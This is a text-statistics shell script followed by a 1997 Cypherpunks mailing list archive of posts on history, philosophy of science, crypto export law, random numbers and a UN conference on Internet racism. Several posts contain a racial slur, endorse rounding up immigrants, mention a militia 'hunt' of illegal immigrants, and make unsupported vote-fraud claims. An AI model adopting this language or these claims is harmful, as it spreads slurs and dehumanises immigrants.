A. a file, ./counts, containing wordcounts like so. (The first line is the
ever-present quirk, which occurs because I have yet to master sed.)

1689 
 550 THE
 344 AND
 316 TO
...

and B. Output to the screen, like so:

[wc/uwc]
      1738     12561     77775 <-- Lines/words/bytes for the original file
      2557      5113     31226 <-- First part is the number of *different*
                                   words used in the document, ignore the rest.
[word counts] <-- A juicy excerpt from the counts file
 550 THE
 344 AND
 316 TO
 271 A
 195 OF
[punc frequency: comma/period/hyphen/quote/semi]
584 <-- Number of commas
1536 <-- Periods
79 <-- Dashes
315 <-- Double-quote marks
10 <-- Semicolons
[and/or/but as sentence-splitters]
24 <-- Occurrences of "and," (including comma -- that's the point)
12 <-- "or,"
7 <-- "but,"

There are too many things you can calculate from this output for me to
enumerate (although the ratios of words to periods, commas, semicolons, and
conjunctions as sentence splitters are rather useful...compare two or three of
a known author's documents to find his/her characteristics, then compare that 
to your unknown and see if you've got a match). 

[Note that the whole sed mess is supposed to be one line]

#!/bin/sh
# prep: Prepares a text for analysis

sed "y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/;s/[^A-Z']/ /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;s/  / /g;y/ /\n/;"<$1|sort|uniq -c|sort -rn>./counts

echo [wc/uwc]
wc<$1
wc<./counts
echo [word counts]
grep -wie "the" -e "and" -e "to" -e "a" -e "of" < counts
echo [punc frequency: comma/period/hyphen/quote/semi]
grep -c ","<$1
grep -c "."<$1
grep -c "-"<$1
grep -c \"<$1
grep -c "\;"<$1
echo [and/or/but as sentence-splitters]
grep -c "and,"<$1
grep -c "or,"<$1
grep -c "but,"<$1

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 19 Nov 1997 12:17:23 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
Message-ID: <199711190409.WAA27422@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 18 Nov 1997 18:10:17 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
> 
> > Is your claim that there was a
> > second Great Awakending or are you saying the traditional (if you will)
> > dating is incorrect?
> 
> I'm saying that I think you're confusing the Renaissance with the Great
> Awakening. :-).

Hardly, the Renaissance started toward the beginning of the 1400's (eg
Galileo) and ended by the end of the 1500's (eg Newton). Did you know that
Galileo died the same year that Newton was born? Some contemporary of Newton
made the comment that the world could support no more than 1 such intellect
at a time.

> BTW, Emerson, Dickenson, Whitman, Thureau, etc., were part
> of the same ideological outpouring which, in the theological arena, was the
> Great Awakening. A lot can be said for the view that this was American
> Romanticism, as Chopin, Byron, the Brontes, Austen, etc., were all
> happening in roughly the same couple of generations. Later, like libertines
> and enthusiasts throughout history, they became extremely repressive. We
> eventually came to call them Victorians. (Sound familiar, you baby boomers?)

After thinking about this I am certain that you are speaking of a movement
other than the Great Awakening. I can't remember or find a convenient name
for the religous/ethical awakening that occured prior to the Civil War.

In thinking about this it occurs to me that immediately after each such
occurance of a 'Great Awakening' there is a war of global (or at least
what passes for the know world) proportions.

Fortunately I can lay claim to being either the last of the baby boomers
or the first of the gen-x'ers depending on whose definition you use.
Personaly, I consider the labels spin-doctorisms intended to focus folks on
the differences instead of the similarities.

> > > that Vlad Dracul, the Impaler, was Transylvanian
> >
> > Actualy, to be accurate his name was Vlad Teppish. He was eventualy killed by
> > his lord for carrying on excesses such as killing a woman because she let her
> > husband walk around with a tattered coat. Dracul and Dracula are derived
> > from dragon and imply a connection with the devil (which also derives its
> > own existance from this lexical tree).
> 
> Okay. I have to go back and look now, I woudldn't be surprised if you're
> right. Anyway, there were two Transylanian nobelmen, father and son, and
> one, the impaler was, among other things, called Vlad, son of Dracul,
> which, I think, gets you Dracula, but I'm not sure. The Teppish part sounds
> like it's more right, now that you mention it. Maybe we're looking at Vlad
> Dracul the father, and Vlad Tepish, Dracula, (son of Dracul)?  Oh, well, as
> I said in my rant, the cost of error is bandwidth. :-). Someone here
> probably has all the, um, gory details...

Actualy 'dracul' is a word that means devil, it has the same roots as
'dragon'. Neither father or son used that in their name, it's what others
called Vlad when they weren't calling him the Impaler.

> > That doesn't change the fact that the opinion, anonymous or not, originated
> > from a single source.
> 
> I think I could argue for multiple simultaneous sources of the same opinion
> pretty successfully. :-).

Yes, but each of those were individuals. Opinions are tied to individuality
and not geography or chronological ordering. What you actualy have is a
group of individual opinions that once the observer is aware of the set then
forms their own opinion of what the original opinions meant.

> > While I can accept that testable facts can be isolated
> > from source biases it escapes me how an opinion can be so isolated.
> 
> I think this sums up Socrates' "Right Opinion" statement pretty well. Have
> you read Plato, by chance? ;-). Folks later called this the Mind/Body
> problem. How do we know what we think in here is what we see out there,
> etc. Big problem in philosophy. Science solves it to most people's
> understanding of it. Or mine, anyway.

A better and more fundamental question:

How do we know what we think is what we think?

If you can't demonstrate this then you have no way of demonstrating there is
even an 'out there' to see.

The point that always seemed clear to me is that there is an implicit
assumption with the whole mind/body question, in short; there is more to
reality than what we experience. Therefore our experience of reality is
fundamentaly different than reality. A further problem I see is that the
implied assumption that the observer is seperate and isolated from that
being observed.

> I said later on in the rant that when we got to
> science, that that was better. With science, we got as close to "truth" as
> we're ever going to get, asymptotically closer, but not to truth itself.

You are using a fundamentaly different science than I use. At no time does
science assume there is a truth, only interactions that can be manipulated
and are simple enough in their core interactions for us to understand.

> Science gives a way to keep getting *closer*...

Science is nothing more than a methodology for asking questions that fit
particular and well defined forms. At the core of this is a basic assumption
about nature, it is homogenous and isomorphic.

> > Perhaps opinion & fact are unwittingly being confused. Opinions tell the
> > observer about the holder of the opinion, not the subject the opinion is
> > direct toward.
> 
> Maybe, but remember my smart crack about hueristics. It's all we've got, in
> any practical sense.

Please be so kind why heuristics is the only thing we got? Seems to me that
serendipity has raised its head more than once. As I understand heuristic
algorithms (ie rule base) is that they pre-suppose a system for goal meeting
and then go through a itterative process comparing the current position with
the goal and then reducing that distance.

> We can't just go around testing every opinion we hear,
> more than once, anyway, :-), and, frankly, most of us just take other
> people's word for things, especially if we respect their reputation. :-).

Ah, but there is a rub here. Respect is an opinion.

> Remember the story about Gauss, who, in the middle of some guy's
> announcement that he'd discovered the normal distribution(?), said
> hueristic: Gauss is usually right, so he must be right here, too. (An
> appeal to authority, for you informal fallacy counters out there... :-).)

Yeah, he did this several times. He nearly caused Bolya to quit mathematics.
He made many such claims through his life, quite a few of them were never
born out when his papers were examined after his death, though quite a few
of them were as well. He also told his son to ask his wife to wait a moment
to die while he finished his cyphers (calculations).

> Well, actually, it's more about how to make replicable results, I'd say.
> The "how to ask questions" might come from a theory (brought about by
> observing reality with replicable results), and the creativity of the
> questioner.

If you don't know how to ask a question in a scientific manner you can't
test it. Science itself doesn't say anything about the results directly
other than they are homogenous and isomorphic, the observer does however when
we examine the goals and reasons for the experiment in the first place. To
observe nature requires a fundamentaly different methodolgy than 'commen
sense' observation. Further, the realization that there are processes in
nature that are fundamentaly un-repeatable is what forced the creation of
statistics and the study of families of events.

> > Science is a non-intuitive mechanism whereby we can regulate how
> > we think about the world around us.
> 
> And, my understanding is that at the core of that is the replicability of
> experiment. And the predictivity of theory, of course.

Replication of experiments comes from a base assumption in science (which
unlike other axiomatic systems are open to refutation) that nature is
fundamentaly homogenous and isomorphic, in other words the rules of nature
are the same irrespective of geography. Should we find such a non-homogenous
or non-isomorphism in nature then the fundamental reliance on science as we
impliment it now would be shown wrong. 

The flip side to this is that if the universe turns out to be so arranged
then we have in effect a non-relativistic frame of reference because we have
now proven by exception that a given point or particle in the universe is
truly unique and identifiable through some mechanism.

> > What to do with the results is engineering.
> 
> How to make the results *profitable* is what engineering is... ;-).

No, that is business management. At no point in an engineering study is the
issue of cost v price examined. Study Nikola Tesla to understand why your
statement is fallacious.

> > Never confuse popularity with influence.
> 
> Well, since I don't know how to define one in terms of the other, I won't.
> How's that?

Popularity means that the issue is well known, influence is that people use
it as a reason for their actions.

> Still, I think the idea of opinion/influence/reputation/identity as linked
> this way allows you to think about it better.
> 
> Or at least it helped *me* think about it better, anyway.

I agree that they are linked. I don't think that in the grand scheme of
getting through life they are nearly as important as some would have us
believe. I personaly am more interested in the fundamental question of
whether the meme or paradigm works in the sense of providing me the return
on my resource investment that I intended. I guess a simpler way to put it
is that intellectual capital should not be avaluated by the same methodology
we use to select books or movies to buy.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 19 Nov 1997 05:49:57 +0800
To: cypherpunks@cyberpass.net
Subject: OUCH!
Message-ID: <199711182125.WAA15222@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



My ass hurts.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 12:42:10 +0800
To: dateline@nbc.com
Subject: Dateline / Nov. 18/97
Message-ID: <34726A92.4DFA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



"I break the law by engaging in prostitution."
"I break the law by doing illegal drugs."
"I want others to go to jail for breaking the law, based on my 
testimony."

Did the concern for the upholding of the letter of the law, by the
allegedly abused woman, the police and the prosecutors, extend to
requiring the accuser to be punished for her own violation of the
law? 
I can hardly wait for the school-yard crack dealers to testify 
in the hate-speech prosecution of concerned parents who call them 
'niggers'. 

Is it my imagination, or are there a lot of people going to jail
based on the testimony of people who want other people to be
prosecuted for crimes, but who don't want to be prosecuted for
their own crimes?

God Bless what the mainstream press still claims is America!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 12:43:33 +0800
To: Mikhael Frieden <mikhaelf@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>
Message-ID: <199711190429.XAA15043@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>, on 11/18/97 
   at 11:34 PM, Mikhael Frieden <mikhaelf@mindspring.com> said:

>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----

>>I think that there is plenty of case law of extending constutional
>>protections to non-citizens. One that comes to mind were the rulings
>>against California inwhich the courts ruled the they were obligated to
>>provide schooling and social services to illegal aliens (a really fucked
>>rulling IMNSHO but if some good can come out of it no sense not making use
>>of it).

>        In a much more fundamental sense, if they were not given
>constitutional protections they really could be rounded up and bussed
>across the border. 

And this would be a BadThing(TM)??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Nov 1997 20:24:05 +0800
To: cypherpunks@toad.com
Subject: Re: New Idea to Generate Random Numbers
In-Reply-To: <199711190227.CAA114150@out2.ibm.net>
Message-ID: <eucege20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"James F. Marshall" <marshall@ibm.net> writes:

> On Tue, 18 Nov 1997 16:36:08 -0500, Edupage Editors wrote:
>
> >RANDOMLY GROOVY
> >Scientists at Silicon Graphics have taken the mesmerizing flow of the lava
> >lamp to the next level of utility -- using the favorite fixtures of the '60s
> >to generate truly random numbers, something computers cannot do.  The
> >process involves using a digital camera to snap periodic shots of six oozing
> >cylinders, combining those images with electronic noise and converting it
> >into 1s and 0s, and then using the Secure Hash Algorithm from the National
> >Institute of Standards and Technologies to compress and scramble the binary
> >string to create a seed value for a standard random-number generator.
> >(Scientific American Nov 97)
>
> How do I implement this at home?  ;*)

I've got a lava lamp as well as a wave machine.  I have grave doubts that
they're very random.  I think I see recurring patterns, making the bit
stream somewhat predictable.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 13:09:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102809b0980bf30a9e@[207.167.93.63]>
Message-ID: <199711190457.XAA15353@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102809b0980bf30a9e@[207.167.93.63]>, on 11/18/97 
   at 08:25 PM, Tim May <tcmay@got.net> said:

>At 7:54 PM -0700 11/18/97, Declan McCullagh wrote:
>>Sorry. I was unclear. I was comparing U.S. citizens with citizens of
>>another country who are living in that country.
>>
>>If a U.S. citizen living in the U.S. is running an ISP, I would argue from
>>principle that he has a right to distribute writings (I like Jeanne's
>>bookstore analogy) penned by citizens of another country.

> This is a slam dunk truth. This is black letter law.

>I'm surprised this is even being debated.

>"Congress shall make no law.." does not mean that government gets to ban
>sales and distritution of works by Tolstoy, Zola, Stendahl, Marx, and so
>on.

>Get real.

Well you forget Tim that here in the "Land of the Freeh" the Constitution
is only a minor incovienance to ObPCVoteBuying by the criminals in DC.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 13:06:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Banned smells
In-Reply-To: <v03102808b0980af7cf33@[207.167.93.63]>
Message-ID: <199711190459.XAA15375@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102808b0980af7cf33@[207.167.93.63]>, on 11/18/97 
   at 08:21 PM, Tim May <tcmay@got.net> said:

>At 7:51 PM -0700 11/18/97, TruthMonger wrote:
>>* The University of Minnesota was seeking more "specialists" to
>>work on its three-year, $390,000 program to set an "odor emissions
>>rating system" for regulating the state's 35,000 animal feedlots,
>>according to an August Minneapolis Star Tribune story.  Having
>>judges, or government officials, go sniff the feedlot apparently
>>would give insufficient due process of law; rather, a panel of
>>sniffers will develop objective standards on the types of odors and
>>their strength.  Already 35 people are employed and have begun
>>sniffing the nearly-200 chemical components of cow and pig
>>manure in order to categorize them for the formal state stench test.

> This is, pardon me, a minor issue compared to other "smellist"
>legislation. Here in the People's Republic of Kalifornia, some areas have
>been declared "fragrance free." It's a crime to enter these
>fragrance-free zones with banned smells.

LOL!! I can just see the PSA's now: "Eat a Burrito Go to Jail"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 13:22:21 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102807b098087b39e3@[207.167.93.63]>
Message-ID: <199711190511.AAA15530@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807b098087b39e3@[207.167.93.63]>, on 11/18/97 
   at 08:12 PM, Tim May <tcmay@got.net> said:

>At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:
>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:

>>>I think that there is plenty of case law of extending constutional
>>>protections to non-citizens. One that comes to mind were the rulings
>>>against California inwhich the courts ruled the they were obligated to
>>>provide schooling and social services to illegal aliens (a really fucked
>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>of it).
>>
>>        In a much more fundamental sense, if they were not given
>>constitutional protections they really could be rounded up and bussed
>>across the border.

>And what would be wrong with this?

>If they're not citizens, and not on a valid visa, they have no legal
>right to be in the U.S.

>(At a more abstract level, I support the idea of completely open borders,
>provided we end all forcible contributions to welfare, medical care,
>schools, job quotas, etc. But so long as taxpayers are paying 60% of
>everything earned, as I am, to support others, the rules about entry to
>the U.S. must be enforced.)

>Ironically, the authorities are refusing to enforce the immigration laws.
>This is why the militias here in California have been forced to deal with
>illegal immigrants in the only way left to them. (There's a hunt in
>Imperial Valley this coming Saturday.)

Well at one time there was a demand for cheap labor by US industry that
supported the infux of immagrents. In modern times their is no such demand
( if there were we have plenty of bums on welfare that can fill this need)
but there is a demand for cheap votes. The current Statest have been
watching their power base erroding over the years as more and more
Americans refuse to beleive thier socialist lies. The only way that they
can continue in power is to import new voters who are easier to hoodwink
and cheaper to buy. Confermation of this policy can be seen in the
behavior of the INS durring the last election cycle where large numbers of
immigrants were naturalized before the elections.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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2YxInSmwz5uJOnLM/L0zRW+l0bL7pQz2sOB3mFmhi+S2N17e42uACnGdO9uHl4JV
FL9Amrk1oOCxOmzl+DNCRRXEVamIk99ZzvBJy2exIv7553zcUJ74RNmu6/qc9Ls+
qZmvjiO03nk=
=JAwI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Salz <rsalz@opengroup.org>
Date: Wed, 19 Nov 1997 12:15:46 +0800
To: whgiii@invweb.net
Subject: Re: export restictions and investments
Message-ID: <199711190359.WAA10764@sulphur.osf.org>
MIME-Version: 1.0
Content-Type: text/plain



>How do the US export restrictions affect investments into non-US crypto
>companies? Is it legal for US private persons or companies to invest
>money into companies developing strong crypto applications for example in
>Europe? 

We got an official legal opinion, which was that wholly-owned subsidiaries
of US entities are subject to US regulations in this area.

>Since Sun bought the Russian Elvis+ company

Are you really sure that they bought it all? That would go against what
we had been told, and I have a great deal of respect for the legal/crypto
expertise of "Barry an Jay" at the Washington, DC, law office of Hale & Dorr.
	/r$





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Nov 1997 15:13:08 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Flight 007 and our Civil Liberties
In-Reply-To: <v03102802b09795d84b18@[207.167.93.63]>
Message-ID: <3.0.3.32.19971118231158.00712378@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:11 PM 11/18/1997 -0700, Tim May wrote:
>The FBI has just completed a long press conference in which it reported its
>"no terrorist activity suspected" conclusions. Having watched most of it,
>and having seen the CIA animation shown at the press conference, I agree
>with their conclusions.
...
>However, now that the Flight 007 explosion has been ruled a non-terrorist
>event, will we get our freedoms back?

Flight 800, actually.....
KAL007 was the Korean plane shot down by Russians.

>So, these were the two big events which stimulated the FAA, under higher
>orders, to require mandatory ID of all travelling passengers. And more
>multimillion dollar sniffers to be installed in airports.

Is that multi-million-dollar explosive-sniffers,
or have they developed dollar-sniffers to support the War On Cash :-)

One of the parts that's irked me most about this (as distinct from
outrage at the loss of civil liberties) is that the thugs won't even
come out and say "The Government Requires You To Have Papers To Travel",
since they can't do that, at least without PR problems.
Instead they bully the airlines into requiring more obedience to 
avoid arbitrary $10,000 FUD penalties than a direct law could require.
And the airline employees keep telling me "it's always been this way"
a couple of weeks after each change of the rules.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Nov 1997 15:50:22 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: mailing list archive
In-Reply-To: <199711181827.NAA08131@tana.mit.edu>
Message-ID: <3.0.3.32.19971118231809.00715860@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:27 PM 11/18/1997 EST, Ryan Lackey wrote:
>If enough people want to buy CDs of the data, I'll set up an order page,
>establish pricing, etc.  Right now, for me to make a CD requires buying
>media and doing it at the media lab, unless I buy a drive, so the cost
>is somewhat dependent upon how many people are interested.  If someone wants

Remember that there's a lot of code in cypherpunks mail,
at least in the early history of the list :-)
So there's some risk of export restrictions applying,
and you might have to limit your sales to Real Americans
(or at least Real American mailing addresses.)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Laurie <ben@algroup.co.uk>
Date: Wed, 19 Nov 1997 07:27:37 +0800
To: Greg Rose <ggr@qualcomm.com>
Subject: Re: export restictions and investments
In-Reply-To: <199711182137.IAA05520@avalon.qualcomm.com>
Message-ID: <34722259.CB54E462@algroup.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Greg Rose wrote:
> Of course crypto is not currently classed as a
> weapon of mass destruction

Hmmm ... the EEC/UK regs on WMD have specific things to say about
crypto, and definitely restrict crypto export (at least in some
circumstances - naturally, the whole thing is horrifically complex and
no-one is about to explain it).

Cheers,

Ben.

-- 
Ben Laurie            |Phone: +44 (181) 735 0686|Apache Group member
Freelance Consultant  |Fax:   +44 (181) 735 0689|http://www.apache.org
and Technical Director|Email: ben@algroup.co.uk |Apache-SSL author
A.L. Digital Ltd,     |http://www.algroup.co.uk/Apache-SSL
London, England.      |"Apache: TDG" http://www.ora.com/catalog/apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Wed, 19 Nov 1997 15:26:29 +0800
To: cypherpunks@Algebra.COM
Subject: Almost a good case for censorship
Message-ID: <199711190824.AAA04912@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



I saw something in the supermarket that made me almost wish for censorship.

The current issue of the Weekly Worldwide News has a picture of Jane Reno
is a swim suit.

Be afraid.  Be very afraid.
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 19 Nov 1997 15:39:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v0310280cb0981af490ec@[207.167.93.63]>
Message-ID: <3.0.3.32.19971118232342.031ab598@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:47 PM 11/18/97 -0600, William H. Geiger III wrote:
>BTW does anyone know what ever happend with Dornan's challenge to the
last
>election?

The last I heard, approximately 1500 illegal aliens had been found to
have voted in that election (Dornan lost by about 940 votes) but
Democrats in the House were stonewalling taking any action to
Reinstate Dornan.  The INS was also refusing to cooperate in the
effort to determine if suspect voters were actually citizens or not.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNHKT/MJF0kXqpw3MEQIzlwCgidV9zFqVInIkZe8PY0hQa18XXD0AnA9v
Cvl0tfDG3W/9i/H7uSWzrxhn
=zs3A
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Wed, 19 Nov 1997 06:56:57 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007808b097c592eba8@[168.161.105.216]>
Message-ID: <Pine.3.89.9711182331.A19441-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain



Does the First Amendment prevent the Congress from passing
a law that would make it illegal for anyone who is outside the United 
States to
set up a web site in the U. S. in violation of a local speechcode?
For example, a German nazi organization could establish a WWW site in 
California out of reach
of German law.
Would it be constitutional to make a law barring  foreign citizens from 
violating the speech
codes of their home countries using a U. S. ISP?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 11:51:22 +0800
To: Peter Herngaard <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971118230627.0aef514c@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:33 PM 11/18/97 +0100, Peter Herngaard wrote:

>Does the First Amendment prevent the Congress from passing
>a law that would make it illegal for anyone who is outside the United 
>States to set up a web site in the U. S. in violation of a local speechcode?

>For example, a German nazi organization could establish a WWW site in 
>California out of reach of German law.

        It is not against US law to claim to be or to be a Nazi so the
action is legal in the US. 

>Would it be constitutional to make a law barring  foreign citizens from 
>violating the speech codes of their home countries using a U. S. ISP?

        The US currently has laws governing foreign ownership of
publications in the US. Ted Turner had to become a citizen. Don't remember
the details but precedent for publications not intended primarily for US
consumption. (A CNN of the future will be an interesting question.) 

        At least by international custom, a person another country is bound
by the laws of the country is in. Doing business in the US is bound by the
laws of the US. A non-US citizen setting up a website in the US receives
the same protections as anyone else doing business in the US. This is a
principle of international commerce. 

        As a matter of diplomacy, international conventions, such a law
would not be passed. The larger issue is it would incorporate the foreign
law into US law and in consequence case law stemming from it. At the
moment, on more important issues like taxes, because there is no common tax
law, even extradition for tax law violations is not possible. 

        As to the constitutionality of it, strict reading says no. It is
difficult to conceive that original intent would have meant Congress could
have passed laws prohibiting speaking ill of the King of England. 

        As to the ISP situation. The US has held that if you call for it,
it can not be regulated. Dial 1-900-sex4all can not be subject to federal
law. The internet is at worst a 900 number by analogy. It can not be
legislated against only regulated as to the mechanics of charging and
transactions, not content. 

        A lot of words but from what has gone before, no both
constitutionally and diplomatically and as a matter of economic policy. 


-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Wed, 19 Nov 1997 11:54:33 +0800
To: Lizard <cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971118230721.0aefda2e@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:35 PM 11/18/97 -0800, Lizard wrote:
>At 05:22 PM 11/18/97 -0500, Declan McCullagh wrote:
>>[Forwarded with permission, first few grafs deleted by request. --Declan]
>>
>>Date: Mon, 17 Nov 1997 10:40:22 -0800 (PST)
>>From: Margarita Lacabe <marga@derechos.org>
>>Subject: UN Conference
>>
><Much deleted>
>> There was also a guy from Indigienous World Association who
>>missunderstood pretty much everything said, but was very passionate.
>
>Well, if that isn't a summary of 99% of non-netizens, I don't know what is...

        And 98% of netizens. 

-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
